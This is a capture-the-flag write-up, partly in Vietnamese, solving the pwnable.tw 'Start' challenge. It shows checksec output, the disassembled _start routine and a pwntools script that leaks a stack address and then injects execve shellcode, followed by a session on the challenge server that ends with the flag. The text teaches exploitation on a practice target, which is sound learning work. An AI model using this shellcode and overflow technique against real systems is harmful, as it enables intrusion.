pwnable.tw
Start
February 7, 2026
•
January 21, 2026
•
Easy
Recon
Mitigation
$ pwn checksec start
[*] '/home/hungnt/ctfs/pwnable.tw/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)Code
pwndbg> disass _start
Dump of assembler code for function _start:
0x08048060 <+0>: push esp
0x08048061 <+1>: push 0x804809d
0x08048066 <+6>: xor eax,eax
0x08048068 <+8>: xor ebx,ebx
0x0804806a <+10>: xor ecx,ecx
0x0804806c <+12>: xor edx,edx
0x0804806e <+14>: push 0x3a465443
0x08048073 <+19>: push 0x20656874
0x08048078 <+24>: push 0x20747261
0x0804807d <+29>: push 0x74732073
0x08048082 <+34>: push 0x2774654c
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
=> 0x08048099 <+57>: add esp,0x14
0x0804809c <+60>: ret
End of assembler dump.Solve
Mục tiêu là syscall execve để spawn shell, nhưng không có chuỗi /bin/sh để làm vậy.

Vì stack là rwx -> dùng shellcode. Nhưng chỉ có thể ghi shellcode vào stack -> cần phải leak stack.
Vậy thì ghi đè return address của _start về 0x8048087 <_start+39> để gọi write, leak địa chỉ stack ở dưới return address.

Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("start_patched", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "chall.pwnable.tw"
port = 10000
return remote(host, port)
p = conn()
# Leaking stack address
s(p, flat(
pad(20),
0x8048087
))
ru(p, b'CTF:')
stack = leak_bytes(rn(p, 4))
lg("stack", stack)
# Shellcode https://www.exploit-db.com/exploits/43735
s(p, flat(
pad(20),
stack + 0x14,
b"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f",
b"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd",
b"\x80"
))
rr(p, 0.1)
ia(p)$ py solve.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
stack -> 0xff8c3580
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
start
$ cd start
$ ls
flag
run.sh
start
$ cat flag
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}